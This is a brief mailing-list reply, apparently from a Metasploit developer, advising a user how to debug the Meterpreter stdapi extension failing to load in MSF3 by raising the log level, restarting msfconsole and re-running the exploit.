Looking for advice on MSF3 meterpreter stdapi error

[mmiller at hick.org (mmiller at hick.org)]

This definitely looks like some sort of bug.  Can you take the following
steps:

1. setg LogLevel 3
2. restart msfconsole
3. re-run the exploit

I'd like to see if there is an exception being generated behind the
scenes that isnt' showing up for some reason.  By default, the stdapi
extension should be loaded when Meterpreter starts up, so something
fishy is going on.
